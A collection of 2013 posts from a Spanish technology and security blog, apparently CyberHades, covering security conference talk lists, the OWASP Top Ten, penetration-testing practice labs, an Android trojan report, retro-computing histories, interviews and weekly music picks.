Genial emulador de OpenRisc 1000 programado en Javascript que además está ejecutando un Linux para que podáis ir trasteando con el funcionamiento de esta estupenda iniciativa de crear “open hardware”.

En este enlace el autor nos hace una breve visita guiada al funcionamiento del emulador.

OpenRisc es una arquitectura Código Abierto pero de hardware creada por la comunidad OpenCores bajo licencia LGPL para crear CPU's tipo Risc.

Aquí en este enlace está el código fuente del emulador.

Los 9 gadgets favoritos de Steve Wozniak que están …

 

Parte 1

                                Parte 2

Durante un tour (hace ya unos años) por el Computer History Museum en California en el que Wozniak era el guía de lujo, contó a los afortunados presentes en dicho tour cuales eran sus 9 gadgets favoritos del museo (podéis ver el tour en los vídeos de arriba).

Presentaciones de la Hack in Paris 2013

Se han publicado la mayoría de las presentaciones dadas en la Hack in Paris 2013 celebrada del 17 al 21 de junio. La lista es la siguiente:

• Remoting android applications for fun and profit
• Windows Phone 8 application security
• I'm in your browser, pwning your stuff - Attacking Google Chrome extensions
• Origin policy enforcement in modern browsers
• Web Applications Forensics
• DBI Frameworks applied to computer security : Uses and comparative
• The Realex payments application security story, narrated by Security Ninja
• The Control of technology by nation state : Past, Present and Future - The Case of Cryptology and information security
• Burp Pro : Real-life tips and tricks
• Malware vs Virtualization : The endless cat and mouse play
• Next generation rootkits for ARM based devices
• The inner HTML Apocalypse : How MXSS attacks change everything we believed to know so far

Feliz cumpleaños Alan Turing ...

Hoy es el cumpleaños de uno de nuestros personajes favoritos de la Historia, Alan Turing.

En nuestro libro de Microhistorias Alan Turing es uno de los protagonistas indiscutibles, donde contamos por ejemplo, además de su ya conocida implicación en descifrar la máquina Enigma, la relación que tuvo con la primera canción reproducida por un ordenador o algunas de sus historias más personales dentro de Bletchley Park. Por ejemplo ¿sabías que Alan Turing ataba su taza con un candado al radiador de su despacho? … ya sabéis, más en nuestro libro ;)

Domingo por la mañana, The Postelles, You Got Me …

Sólo encontrada en Spotify…

The Postelles

Colección de máquinas virtuales y aplicaciones web …

Vulnhub es otro sitio web que se dedica a recopilar máquinas virtuales y aplicaciones web con fallos de seguridad. Cada VM o aplicación tiene su texto explicándote lo que puedes esperar y cual es tu objetivo. Es otro recurso ideal para practicar tus habilidades de penetración/explotación de software.

Además puedes encontrar un apartado con información sobre como montar tu propio laboratorio de pruebas, con una seria de herramientas recomendadas y enfocado a distintos tipos de tareas como: explotación, ingeniería inversa, análisis forense (todavía no disponible), etc.

Er docu der finde: El secreto de Arquímedes

(IN)SECURE Magazine 38

En junio del 2013, (IN)SECURE Magazine, una revista electrónica sobre seguridad llega a su número 38. En éste podemos encontrar el siguiente contenido:

• Becoming a computer forensic examiner
• UEFI secure boot: Next generation booting or a controversial debate
• How to detect malicious network behavior
• What startups can learn from enterprise level data security tactics
• To hack back or not to hack back?
• Report: Infosecurity 2013
• DNS attacks on the rise: Rethink your security posture
• IT security jobs: What's in demand and how to meet it
• Remote support and security: What you don’t know can hurt you
• A closer look to HITBSecConf 2013 Amsterdam

Os podéis descargar el PDF desde aquí

MICROHISTORIAS: FACIT C-1, precisión sueca en una …

Corría la mitad de la década de los 50. Mientras en otras partes del mundo ya se empezaban a vislumbrar el uso de válvulas de vacío y transistores para realizar cálculos matemáticos, la empresa FACIT de Suecia seguía empeñada en sus modelos totalmente manuales. Su precisión, portabilidad y la no necesidad de electricidad parecían argumentos suficientes por aquel entonces. Un ejemplo muy evolucionado era ya la Facit C-1,  con presencia en miles de oficinas a nivel mundial. Facit (Facit AB) fue fundada en 1.922 con el propósito de fabricar productos para la oficina. Estaba basada en la localidad de Atvidaberg y desde sus inicios empezó a investigar el diseño y fabricación de calculadoras mecánicas. En el año 1.932 la primera calculadora de diez dígitos se había lanzado al mercado con gran éxito.

Domingo de Verano por la mañana, Red Kite, …

Sólo lo he encontrado también en SoundCloud.

Temazo de Red Kite para este domingo por fin de Verano …

Si quieres levantarte de un salto, ve directo al minuto 3:12 y sube el volumen …

Revisión del código fuente de Prince of Persia

Hace poco más de un año que salto la noticia de la aparición y recuperación del código fuente de Prince of Persia. Incluso Cybercaronte nos trajo una Microhistoria sobre cómo se recuperó el código fuente del mismo.

Gracias a que no sólo recuperaron el código fuente, sino que además lo hicieron público, cualquiera puede echar mano del mismo y ver cómo se escribió ese magnífico y revolucionario juego.

Eso es precisamente lo que Fabien Sanglard has hecho. Ha analizado el código fuente y ha empezado una serie de artículos explicando los detalles del juego. Por ahora tiene publicada 3 entradas:

Er docu der finde: Futuro energético - La …

OWASP Top Ten Project

Después de un tiempo en versión Release Candidate de la que nos habló Chema Alonso, finalmente ya ha sido publicada la lista definitiva de los 10 mayores problemas de seguridad en aplicaciones web de 2013 . Este año la lista definitiva es la siguiente:

• A1 Injection (Inyección)
• A2 Broken Authentication and Session Management (Manejo de sesiones y autenticación rota)
• A3 Cross-Site Scripting (XSS)
• A4 Insecure Direct Object References (Referencia directa a objectos insegura)
• A5 Security Misconfiguration (Errores de configuración)
• A6 Sensitive Data Exposure (Exposición de datos sensibles)
• A7 Missing Function Level Access Control (Falta de control de nivel a de acceso a funciones)
• A8 Cross-Site Request Forgery (CSRF)
• A9 Using Known Vulnerable Components (Uso de componentes vulnerables)
• A10 Unvalidated Redirects and Forwards (Falta de validación de redirecciones)

Podéis acceder al informe completo en formato PDF o a través de su wiki.

Nuevo tutorial en PentesterLab

PentesterLab nos deleitan con un nuevo tutorial sobre inyección de SQL. En este caso llamado From SQL injection to the shell II.

En el mismo aprenderemos:

• Explotación por inyección de SQL a ciegas usando explotación basada en el tiempo (Blind SQL injection exploitation using time-based exploitation)
• Ejecución de código usando una shell web PHP

Como en los tutoriales anteriores, se nos provee:

• Documento PDF con las instrucciones
• Imagen ISO para sistemas de 32 y 64 bits.

Todo lo que necesitas es:

• Software de virtualización
• Buen conocimiento de SQL
• Buen conocimiento de HTTP
• Conocimiento básico de PHP
• Ganas y tiempo :)

Ataques por fuerza bruta en iOS con Teensy

Teensy es un dispositivo USB programable, que entre otras cosas se puede usar para emular un teclado.

Con un dispositivo Teensy 3.0, han conseguido poder hacer un ataque por fuerza bruta a la pantalla de restricción en iOS, concretamente en un iPad (parece ser que no se puede conectar un teclado externo a un iPhone). En dicha pantalla de restricción, cuando introduces el código PIN incorrectamente varias veces, el sistema inhabilita el teclado virtual, 1 minuto, 5 minutos, 15 minutos, etc por cada intento fallido, pero el problema o más bien vulnerabilidad surge cuando la entrada se hace por un teclado externo.

Plantilla con consejos para escribir código limpio

El escribir código fuente limpio y bien estructurado es crucial en el desarrollo de una aplicación y sobre todo en su mantenimiento.

En esta plantilla (PDF) podemos encontrar cuatro páginas llenas de QUE y QUE NO hacer a la hora de diseñar e implementar nuestra aplicación.

Está dividida en cuatro secciones:

• Código limpio
• Diseño de paquetes y clases
• Desarrollo dirigido por tests
• Desarrollo dirigido por tests de aceptación

Si te dedicas al desarrollo de software te recomendaría que le echases un vistazo porque este llena de buenos consejos.

Fuente

Domingo por la mañana, Is Tropical, Dancing …

 

Si tienes más de 18 años, puedes ver el vídeo oficial … brutal …

Spotify y GrooveShark.

20 años de DEF CON a descarga

Si el otro día hablábamos de la disponibilidad del material de la DEF CON 20, hoy os hablamos de una nueva página que han creado en la web de la DEF CON llamada DEF CON Torrent Links, dónde podemos descargarnos todo el material de cada una de las ediciones de esta conferencia, más algún material extra a través de ficheros torrent.

Estos son todos los enlaces a los ficheros torrent:

El troyano más sofisticado para Android se llama …

Imagen, SecureList

Al menos eso comenta Roman Unuchek de los laboratorios de Kaspersky.

Su nombre es:

“Backdoor.AndroidOS.Obad.a”

Lo que les llamó más la atención del troyano era que nada más prepararlo para su análisis fue que todas las cadenas en el fichero DEX estaban cifradas y además el código estaba ofuscado.

Se aprovecha de varios agujeros de seguridad (exploits) aún no documentados de Android lo que hace que sea muy difícil de analizar. Es capaz de enviar SMS a números de servicios de pago, descargar otro malware e instalarlo en el dispositivo, enviar también malware vía Bluetooh, ejecutar comandos remotos desde la consola, vamos toda una pesadilla. En cuanto se instala intenta obtener privilegios de administrador (root)  y se oculta de forma que no se muestra como una aplicación con dichos derechos, pasando desapercibida al usuario.

Er docu der finde: Códigos secretos - Números

PRISM, el programa de recolección de datos de la …

Según la wikipedia:

En óptica, un prisma es un objeto capaz de refractar, reflejar y descomponer la luz en los colores del arco iris.

La mayoría de nosotros sabemos creemos que los gobiernos nos espían y quizás la agencia más poderosa del mundo dedicada a dicha actividad sea la Agencia de Seguridad Nacional de los EEUU o NSA (Natinal Security Agency).

También todos sabemos creemos las compañías más grandes que gobiernan internet colaboran con dicha agencia, aunque todas ellas se nieguen.

Descarga de todo el material de la DEFCON 20

En su día publicamos ya comentamos aquí sobre la disponibilidad de las presentaciones, “vídeopositivas” y del audio de la DEFCON 20 y no hace mucho en el blog de Chema Alonso veíamos que ýa había puesto disponible los vídeos con el montaje del presentador y las diapositivas.

Y ahora ya podemos descargarno todo el material a través de este fichero torrent y si además qieres ver algunas fotos del evento, desde este otro torrent te las puedes descargar.

¿Y tú de qué vas?, Alejandro Ramos

1) ¿Quién eres y a qué te dedicas?.

Trabajo en un banco online, en concreto dentro del departamento de seguridad. Allí hacemos un poco de todo: análisis de seguridad, definición de requisitos, cumplimientos normativos y hacking... Me divierte mi trabajo y lo prolongo en mis horas de ocio, cuando no estoy con un teclado (que ocurre poco), me encanta ir al cine y viajar.

Historia de los lenguajes de programación

Infographic by Veracode Application Security

 

Nuevo contenido en OpenSecurityTraining

Ya os hemos hablado con anterioridad de OpenSecurityTraining.info. Un magnífico sitio lleno de clases orientada a la seguridad informática, totalmente gratuito.

El motivo de esta entrada es que han añadido material nuevo. Una clase nueva llamada Understanding Cryptology, Core concepts.

Sobre la cual han subido, por ahora, las diapositivas. Esperamos que suban pronto los vídeos también. El índice de dicha clase es el siguiente:

• Intro to cryptology, cryptography, cryptanalysis
• Overview of cryptography
• Symmetric cryptography
• Asymmetric cryptography
• Protocols
• Overview of adversary capabilities
• Overview of types of attacks
• Case studies of real attacks on real systems
• Standards

El otro material nuevo son los vídeos de la clase llamada: Reverse Engineering Malware.

En la que se tratan los siguientes conceptos:

Domingo por la mañana, Creep the Creeps, Kids On A …

(hasta el minuto 1:40 no empieza la canción)

Spotify, Soundcloud y en Grooveshark no lo he encontrado …

The MagPi número 13

Ya hay disponible un nuevo número de The MagPi, la revista electrónica sobre Raspberry Pi. En este décimo tercer número podemos encontrar el siguiente contenido:

• INTERVIEW WITH AMY MATHER
• THIS MONTH'S EVENTS GUIDE
• PI MATRIX
• COMPETITION
• MAKING MUSIC WITH SCHISM
• COCKTAIL OF EXPANSION BOARDS
• RISC OS ELITE
• BOOK REVIEWS
• C CAVE
• SCRATCH PATCH
• PYTHON PIT
• FEEDBACK

Puedes descargar el PDF desde aquí o verla online.

Er docu der finde: Area 51

Guía del desarrollador de las gafas de Google

Fuente

Microhistorias: ORGA PRIVAT, ingeniería alemana en …

“Estamos en Berlín, Alemania, en el año 1.928. Erna Halbe de diecinueve años de edad, trabaja en una gran empresa junto con otras diez jovencitas como mecanógrafa. Ocho horas al día se encuentran sentadas delante de su Orga Privat, mientras realizan su trabajo escribiendo miles de documentos. Sus días pasan en la gran metrópli, llenas de sueños y en búsqueda de oportunidades, con miedo por poder perder su puesto de trabajo, esperando que las ochos horas pasen lo antes posible en esa sala, y poder salir al mundo exterior. (Basado en la novela de Rudolf Braune "Das Mädchen an der Orga Privat", nacido en 1.907 en Dresde)”

Archivo de formatos de fichero

El mantener un sitio web con todos los distintos formatos de ficheros es una tarea casi imposible. Hay muchos sitios que empezaron a recopilar dicha información, pero que al final se han ido quedando algo obsoletos porque dejaron de mantenerse.

El wiki File Formats es un nuevo intento de no sólo recopilar los formatos de ficheros actuales, sino los que ya están obsoletos o en desuso, con el fin de crear un archivo que quede para la posteridad con dicha información.

Microhistorias: la pantalla de la muerte (kill …

Galaga, foto Wikipedia

La mayoría de juegos clásicos arcade tienen su propia kill screen. Normalmente aparece cuando hemos llegado a un nivel 255 y pasamos al 256, dando en casi todos los casos errores del tipo overflow con resultados inesperados y muy curiosos. En CyberHades ya hemos hablado de algunas como la del mítico Pac-Man y Donkey Kong. Pero lo mejor es que hay gente muy geek que no se ha conformado con llegar a estas pantallas y ver qué ocurre, también han encontrado soluciones a nivel de código (la mayoría modificando el emulador MAME) para poder superarlas.

Ingeniería inversa y volcado de la ROM de un …

Vídeo de Natalie Silvanovich en la 29c3 de 2012

Esto nos mola ;) , Retro + Hacking. Si quieres saber todos los secretos que escondía este legendario juguete, no te pierdas este artículo de Natalie Silvanovich.

En él nos cuenta que ha escrito un programa en ensamblador 6502 para volcar cada byte de la memoria ROM del Tamagotchi y sacarlos por el puerto A (un botón de entrada) usando SPI. Natalie ya tiene experiencia en esto de programar para los Tamagotchi, aquí tienes otro artículo suyo donde explica cómo lo consigue.

Domingo por la mañana, Japonesa, La Costa Brava

Va por Sergio …

Spotify y GrooveShark están todas las canciones del grupo menos esta …

La Costa Brava

Er docu der finde: Maravillas modernas - El …

Presentaciones de la C++Now 2013

Ya están disponibles las presentaciones de la C++Now 2013 celebrada en Aspen, Colorado. Una conferencia que reúne a un número importante de expertos en el lenguaje de programación C++.

• Jeff Garland:Library in a Week: C++11 & Boost Cookbook (I)
• Rob Stewart: Survey of Multi-Threaded Programming Support in C++11 and Boost
• Boris Schäling: Containers in Boost
• Tony Van Eerd: Low Level Threading with C++11
• Leor Zolman: A Zephyr Overview of C++11
• Eric Niebler: A First Look at Proto-0x | PPTX Format
• Tony Van Eerd: Non-Allocating std::future/promise
• Ábel Sinkovics: Boosting MPL with Haskell elements
• Chandler Carruth: Keynote: Optimizing the Emergent Structures of C++
• Scott Schurr: Sweating the Small Stuff: Brace Initialization, Unions and Enums | Code for AnyString
• David Sankel: The Intellectual Ascent to Agda pptx
• Hartmut Kaiser, Vinay Amatya: HPX: A C++ Standards Compliant Runtime System For Asynchronous Parallel And Distributed Computing
• Edouard Alligand: Scaling with C++11
• John Bandela: Easy Binary Compatible C++ Interfaces Across Compilers | PPT Format
• Dominik Charousset, Matthias Vallentin: libcppa – Designing an Actor Semantic for C++11
• Stanley Lippman: Keynote: yet another paradigm shift – A Meta4 model of concurrency | pptx Format
• Joel de Guzman: Inside Spirit X3: Redesigning Boost.Spirit for C++11 || Part 1 | Part 2 | Part 3 | Part 4
• Larisse Voufo: Weak Hiding for C++ Concepts: via a Framework for Reasoning about Name Binding in Programming Languages | PPTX Format
• Richard Saunders: Thread-safe and Thread-neutral Bags
• Boris Kolpackov: Practical C++11: What I Learned Adding C++11 Support to ODB
• Format
• Joel Falcou, Mathias Gaunard: Boost.Dispatch – Generalized Tag Dispatching Infrastructure Library | Slideshare
• Karl Rupp: A Discussion of Selected Vienna-Libraries for Computational Science
• Jon Kalb: The Hijacker's Guide to the Community | Keynote Format
• Alex Fabijanic: Dynamic C++
• David Sankel: DeBruijn Bind: A more powerful bind that retains its simplicity | PPTX Format
• Rob Stewart: Multi-Threading With C++11 and Boost
• Andrew Sutton: Concepts Lite: Constraining Templates with Predicates
• Alex Fabijanic: Look ma, “update DB to HTML5 using C++”, no hands!
• Boris Kolpackov: ODB, an ORM for C++(11)
• Alisdair Meredith: Allocators in C++11
• Boris Schäling: Boost.Graph for Beginners
• Marshall Clow: Fun with Tuples
• Sumant Tambe: Standardizing the Data Distribution Service (DDS) API for Modern C++
• Sebastian Redl: Overloading the Member Access Operator
• Zoltan Porkolab: Debugging and Profiling C++ Template Metaprograms
• Richard Saunders, Clinton Jeffery: Dynamic, Recursive, Heterogeneous Types in Statically-Typed Languages
• Bart Janssens: Building finite-element matrix expressions with Boost Proto and the Eigen library | Sample Code
• Louis Dionne: A system for resource deadlock prevention using intrusive dynamic analysis

Microsoft presenta Xbox One

Xataka

BBCNews

Intro original de Star Wars en HTML, CSS y …

En este enlace o haciendo click en la imagen que encabeza este post, puedes verlo en ejecución con su código fuente correspondiente en HTML, CSS y JavaScript.

¿Y tú de qué vas?: Chema Alonso

(Foto: MVP Microsoft)

Para nuestra primera entrada en esta nueva sección, nadie mejor que nuestro querido amigo Chema Alonso, que nos va a contar un poco más sobre él y sus herramientas de software y hardware que utiliza en su día a día.

1) ¿Quién eres y a qué te dedicas?

Soy Chema Alonso, un ingeniero informático que ha terminado su doctorado este martes 21 de Mayo. Me dedico a seguridad informática y hacking. Monté Informática 64 hace 14 años y ahora trabajo en Telefónica Digital. Escribo a diario en mi blog Un informático en el lado del mal, doy decenas de conferencias al año en donde me da la agenda, llevo una editorial de libros que ahora se llama 0xWord Computing y cuido de Cálico Electrónico para conseguir que se siga realizando la serie.

Nueva sección CyberHades: "¿Y tú de qué vas?"

Queremos presentaros una nueva sección en Cyberhades que hemos llamado "¿Y tú de qué vas?" ;) en la que  nuestros amigos de todos los campos de la Informática, Arte, cualquier Ciencia, etc. nos contarán qué ordenadores, sistemas operativos, gadgets, programas, etc utilizan en el día a día, tanto en su trabajo como en casa.

No es una entrevista larga, sólo hacemos estas 4 preguntas:

• 1) ¿Quién eres y a qué te dedicas?
• 2) ¿Qué hardware utilizas en el trabajo y en casa?
• 3) ¿Qué software usas en el trabajo y en casa?
• 4) ¿Qué libros estás leyendo ahora?

Hoy publicaremos nuestra primera entrevista y os podemos asegurar que tenemos muchas sorpresas en esta sección.

Un saludo a todos.

Domingo por la mañana, Antennas To Heaven, …

Aquí en Spotify y GrooveShark.

Antennas To Heaven.

Esta la letra:

Redlight flickers in the dark Throwing her electric shapes on the screen A world of tiny coloured spots A world lacking that final dimension And he watches, over tables and drawers that aren’t his He watches her flicker, illuminate, glance down at him from mounted on the wall He watches because he trusts it He trusts the walls without pictures and the surfaces without photographs He trusts the sound of a zip over that of a door He trusts the lock and key not being his And the faceless cards that would let anybody in if they chose Because he chose He chose

Serie de vídeos sobre Web Hacking con WebGoat

El proyecto WebGoat como muchos sabéis es un proyecto de OWASP (The Open Web Application Security Project), de hecho el proyecto se llama OWASP WebGoat, es una aplicación web, originalmente escrita en J2EE, también existe una versión escrita en ASP.NET llamada WebGoat.net. Éste proyecto de forma deliberada tiene ciertos fallos de seguridad que tendremos que ir explotando usando diferentes técnicas de ataques.

El grupo de Hacking Ético YGN ha creado una serie de vídeos en los cuales usan WebGoat como objetivo de ataque para la enseñanza del uso de técnicas de ataques en aplicaciones web. Las herramientas que usan además de WebGoat, son: WebScarab, Burp Suite, HackerFirefox y JHijack.

Presentaciones de la NoSuchCon

Aquí tenemos disponibles las diapositivas de las charlas que se impartieron en la NoSuchCon 2013 celebrada del 15 al 17 de mayo de este año.

• j00ru_Abusing_the_Windows_Kernel
• Alex_Ninjas_and_Harry_Potter
• goodspeed_Nifty_Tricks_and_Sage Advice_for_Shellcode_on_Embedded_Systems
• Nicolas_Gregoire_XSLT_Fuzzing
• Saumil_Deadly_Pixels
• Itzik_Pythonect-Fu
• Butterworth_BIOS_Chronomancy
• Ridley_ARM_Exploitation_And_Hardware_Hacking
• Eric_heap_mannipulation
• KNohl_Immobilizer_Security
• Richard_Taint_Nobody_Got_Time_for_Crash_Analysis
• ONAPSIS_Attacks_on_SAP_TMS
• Aaron_Crashdmpster_Diving_Win8
• Nikita_Exploiting_Hardcore_Pool_Corruptions_in_Microsoft_Windows_Kernel
• Alex&Timur_XML_Out_Of_Band
• Pedro_Revisiting_MacOSX_Kernel_Rootkits
• Ferrante_Auriemma_Exploiting_Game_Engines
• Sergey_Any_Input_is_a_program
• Adrien_Robinson_Arsenic_Framework

Google Glass, una nueva forma de interactuar con …

Aqui os presento un video interesante de la BBC del 16 de Mayo de 2013 donde el corresponsal de tecnología Rory Cellan-Jones tuvo la oportunidad de probar las Google Glass durante 24 horas.

Foto: Rory Cellar, BBC Tecnología

Muy interesante. Todavia necesita algunas mejoras pero puede que las veamos a finales de año en el mercado. El precio rondará entre los 1.000 y 3.000 EUR.

Entre las especificaciones técnicas conocidas de Google Glass  encontramos un chipset Texas Instruments OMAP 4430, 1GB de RAM, 16GB de memoria interna, conectividad WiFi/Bluetooth, o una cámara de 16 megapíxeles con capacidad para grabar vídeo en formato 720p. La versión Android actual es Ice Crean Sandwich (4.0.4).

@seraelcalifa

PD: Desde mi punto de vista faltaría añadirles unos cristales RayBan, ahora que llega el veranito.

Er docu der finde: Tokyo Techno Tribes

Microhistorias: Atari Cosmos, la consola portátil …

Foto: AtariMuseum

¿Una consola portátil en 1978 que usaba tecnología holográfica? WTF!!!

Pues sí, aunque nunca salió a la venta, existió de verdad. Hoy día hay sólo 5 consolas localizadas, tres con solo la carcasa pero las otras dos son funcionales. Una la tiene un ex-empleado de Atari y otra la misma empresa Atari en su museo.

Vamos a ver un poco de la historia detrás de esta curiosa e "innovadora" consola (al menos en la idea), una Nintendo 3DS venida a menos ;)

Cydia Substrate, plataforma de modificación de …

Según la wikipedia: Cydia es una aplicación de software para iOS que permite la gestión de paquetes dpkg mediante una interfaz gráfica como “saurik”). Cydia fue lanzado originalmente como una alternativa de código abierto para Installer.app en iOS 1.1.x, pero rápidamente se convirtió en el gestor de paquetes más popular desde la liberación del iOS 2.0 Su nombre se basa en el gusano común de la manzana, Cydia pomonella para hacer referencia de que es un programa tipo “gusano” que se mete dentro de los dispositivos de Apple, o sea, la manzana.

Tuxotron y Cybercaronte, face to face, en Un …

Nuestro buen amigo Chema,  quería hacernos una entrevista un poco especial.

Yo le hacía 10 preguntas a tuxotron y él a mi otras 10.

Bueno pues el resultado lo podéis ver en el Blog de Chema:

Un informático en el lado del mal: Cybercaronte vs Tuxotron: Cyberhades face to face.

Si queréis preguntarnos algo más ya sabéis donde encontrarnos ;)

Gracias por seguir con nosotros.

Los servicios de la nube

Fuente

Atari Breakout, gentileza de Google

¿Aburrido? ¿Necesitas un descanso? Pues abre tu navegador ve a images.google.com e introduce: atari breakout, dale a buscar y listo, a disfrutar. :)

O simplemente visita este enlace

Curvas de Bézier y Picasso

Pablo Picasso. Foto: Herbert List

Espectacular post de la fantástica web Math ∩ Programming donde nos explican la teoría y luego la parametrización de las Curvas de Bézier, usando como modelos algunos grabados de Picasso.

Curva Bézier (Wikipedia)

Finalmente, nos enseña a escribir código en Javascript para dibujar estas curvas y obtener algunos dibujos como el famoso grabado llamado "Perro":

"Perro" y parámetros para dibujarlo

Domingo por la mañana, My Bloody Valentine, In …

Reverencia, rodilla al suelo y a escuchar este temazo de una de las mejores bandas de la historia.

Nuevo álbum de My Bloody Valentine.

Aquí en GrooveShark y esta vez no está en Spotify.

Corto "Reach", sencillo pero lleno de mensajes

Este corto de Luke Randall se ha llevado varios premios (más de 20),  pero no sólo por su animación (aparentemente sencilla), sino por los mensajes de la condición humana que nos quiere transmitir . Por ejemplo, se puede interpretar al robot como una nueva versión de Ícaro, impulsado por su propia soberbia. También podemos ver las frustraciones del ser humano, la mortalidad o incluso un mensaje sobre los límites de la tecnología.

Un día en la vida de los empleados de Blizzard, …

Ya hablamos hace tiempo de Blizzard y su 20 aniversario. Para celebrarlo hicieron que varios de sus empleados más ilustres nos mostraran el día a día en sus vidas como trabajadores de la empresa.

Ya están disponibles las dos íltimas:

Geoff Fraizer, Web Content Manager (administrador de la web del WoW)

Micky Neilson, Lead Story Developer (guionista jefe)

Uf, algunos dan envidia. Por ejemplo "tengo que jugar un par de horas a Starcraft para probar nuevos cambios en ..." o "ahora tengo que dar una conferencia junto a escritores de libros de World of Warcraft" :_ )

Aprende VIM jugando

click en la imagen para jugar

Curiosa y simpática  manera para aprender VIM, jugando a un minijuego de aventuras:

http://vim-adventures.com/

Er docu der finde: ¿Y tú qué sabes?

Presentaciones de la SyScan 2013

Ya podemos descargarnos casi todas las presentaciones de SyScan 2013, conferencia sobre seguridad celebrada en Singapur del 22 al 26 de abril.

Las lista de las mismas es la siguiente (los enlaces son archivos zip):

• Checking the Boundaries of Static Analysis
• OptiCode: Machine Code Deobfuscation for Malware Analysis
• The InnerHTML Apocalypse - How mXSS Attacks change everything we believed we knew so far
• Taming the ROPe on Sandy Bridge
• iSniff GPS Virtual Wardriving
• Bochspwn: Exploiting Kernel Race Conditions Found via Memory Access Patterns
• Revisiting Mac OS Kernel Rootkits
• Coaching a Squad of Allwinners
• Mountain Lion/iOS Vulnerability Garage Sale

The MagPi número 12

Nos llega un nuevo número de la revista 100% orientada a Raspberry Pi. En este doceavo ejemplar pomos encontrar el siguiente contenido:

• A year of The MagPi
• GUIDE BEGINNERS
• THIS MONTH'S EVENTS GUIDE
• SWEETBOX II
• RASPBERRY PI OPERATING SYSTEMS
• STAR LETTER
• PRINTING WITH CUPS 2
• AN INTERVIEW WITH PETE LOMAS
• MAKING MUSIC WITH SCHISM
• COMPETITION
• BASH GAFFER TAPE
• SCRATCH PATCH
• FEEDBACK

Las puedes leer desde aquí o descargarla en formato PDF.

Presentamos el nuevo logo de CyberHades

Tenemos el placer de presentaros nuestro nuevo logo diseñado por Gonzalo (gracias amigo), de la web:

www.urbanarte.es

Donde representa al barquero de CyberHades navegando por los mares digitales Explorando los rincones de Internet ;)

Gracias a todos por visitarnos.

Feliz día de la contraseña

Hoy se celebra el día de la contraseña, la cual desde mi punto de vista tiene los días contados. Aquí os dejamos un infográfico con algunos consejos para hacer tu contraseña fuerte y proteger mejor tus cuentas.

Happy password day!!

Fuente

Hack the Planet 5

Una nueva edición de Hack The Planet, una ezine sobre hacking ya se encuentra disponible, la número 5 concretamente. El contenido de este ejemplar es el siguiente:

• TOC
• Intro
• MIT/EDUCAUSE Files: EDUCAUSE data
• Linode Files: registrardata.txt, Screenshots one and two
• Nmap Files: Fyodor response
• Sucuri Files: dbs.tgz
• NIST/NVD Files: NVD.zip
• Wireshark Files: wireshark.zip
• Art: ANSI, graffiti, and wallpaper
• Zerodays: MoinMelt, SubZero v2
• Outro

Ojo al artículo titulado Linode (http://straylig.ht/zines/HTP5/0x02_Linode.txt). Hay un párrafo que dice lo siguiente:

Meanwhile, we enjoyed our (root) access to Nmap, Nagios, SQLite, OSTicket, Phusion Passenger (modrails), Mono Project, Prey Project, Pastie, Sucuri, Hak5, Pwnie Express, Puppet, and oauth.

No sé cuanta verdad hay en todo esto, pero el artículo entretiene y bastante.

UPDATE: Mirror

Microhistorias: Adler Favorit, el “portátil” con …

 Corría el año 1.935. En Alemania el tercer Reich estaba en plena ebullición y la  industria alemana funcionaba cada vez a mayor velocidad de producción. En 1.933, cuando Hitler fue nombrado Canciller, la economía era muy deficitaria en Alemania. Las tasas de desempleo se encontraban en el punto más alto de su historia. En enero de 1.933 había más de 6 millones de desempleados. La política económica de Hitler redujo dicha cifra en un 50% en un solo año, debido sobre todo a su plan nacional de construcción de estructuras viales para el transporte (Reichsarbeitsdienst - Servicio Nacional del Trabajo), la industria bélica y el reclutamiento de gran cantidad de personas. El desempleo fue decreciendo en los años posteriores hasta llegar a 1.939, donde sólo había 302.000 personas hábiles en situación de desempleo. Este crecimiento económico trajo consigo la necesidad de nuevas soluciones para la oficina que permitiera trabajar en cualquier momento y en cualquier lugar.

Domingo por la mañana, canción dedicada a un buen …

Dedicada con todo nuestro cariño a GrooveOrfeo (Luis), un abrazo compañero.

Spotify y en GrooveShark no la he encontrado …

Beaten By Them

Pioneer 10

Oculus Rift, el futuro de los videojuegos

Parece que las gafas se ponen de moda ;)

Más información aquí.

Er docu der finde: Tecnología para el día del …

Ataques Man-In-The-Middle y otras pruebas …

Foto: Penturalabs

Este proyecto utiliza un router modelo TP-LINK TL-WR703N  (21€, que entre otras características es portátil y puede funcionar como punto de acceso WiFi) ó el TP-LINK TL-MR3020 (27€, es un poco más grande que el anterior) para crear un sistema de ataques tipo Man-In-The-Middle desde hardware que puedes llevarte a cualquier parte. El sistema que se instala en el dispositivo es un viejo amigo que ya conocemos, OpenWrt.

El objetivo es construir un sistema de pentesting parecido al WiFi Pineapple (de hecho utiliza el mismo firmware), el cual es un poco más caro (100$ dólares USA la versión standard) pero es más profesional (si puedes permitírtelo, no lo dudes, el WiFi Pineapple es realmente una máquina espectacular). Pero si quieres algo parecido mucho más barato, esta podría ser una opción.

Diez documentales (+bonus) sobre hacking que no …

Ya publicamos en Cyberhades una entrada hablando sobre un post de HackADay donde nos mostraban los Top 10 fallos de hacking en películas o series. Ahora han publicado este post donde nos hablan de 10 documentales sobre hacking de verdad, desde el funcionamiento de todo tipo de aparatos, lockpicking, etc.

Domingo por la mañana, The Ballad of The Space …

Esta canción de Jim Guthrie aparece en el fantástico juego para Android y iOS llamado “Sword & Sworcery” que es una maravilla que no deberías perderte.

La banda sonora del juego es realmente espectacular tanto o más que el juego.

En Spotify y en GrooveShark.

Y el álbum completo en GrooveShark y en Spotify.

Diseños de robots, naves espaciales, criaturas, …

 

Genial web para tener en favoritos si te gusta dibujar o simplemente disfrutar viendo dibujos de naves espaciales, robots, aliens, armas futuristas, criaturas de todo tipo, tanques y vehículos, no te pierdas esta web:

ConceptShips

En ella verás las categorías en las que se divide y podrás deleitarte viendo impresionantes diseños como el que encabeza este post.

No te lo pierdas (sobre todo si necesitas inspiración para por ejemplo un libro ó un juego de sci-fi), hay auténticas maravillas.

Er docu der finde: Códigos secretos - Predicciones

Escucha la voz de Alexander Grahan Bell, grabada …

Foto: Alexander Grahan Bell, Wikipedia.

Increíble documento histórico. Desde este enlace podrás escuchar la voz de Alexander Grahan Bell, que como sabrás es el inventor del teléfono fue uno de los inventores (no podemos olvidar a Antonio Meucci) del teléfono. Investigadores del Smithsonian han conseguido recuperar esta grabación donde Bell dice:

“In witness whereof — hear my voice, Alexander Graham Bell.”

Visto en Mashable.com

Microhistorias: La revolucionaria fuente de …

Interior de una F.A. de un Apple II. Foto: HardwareSecrets

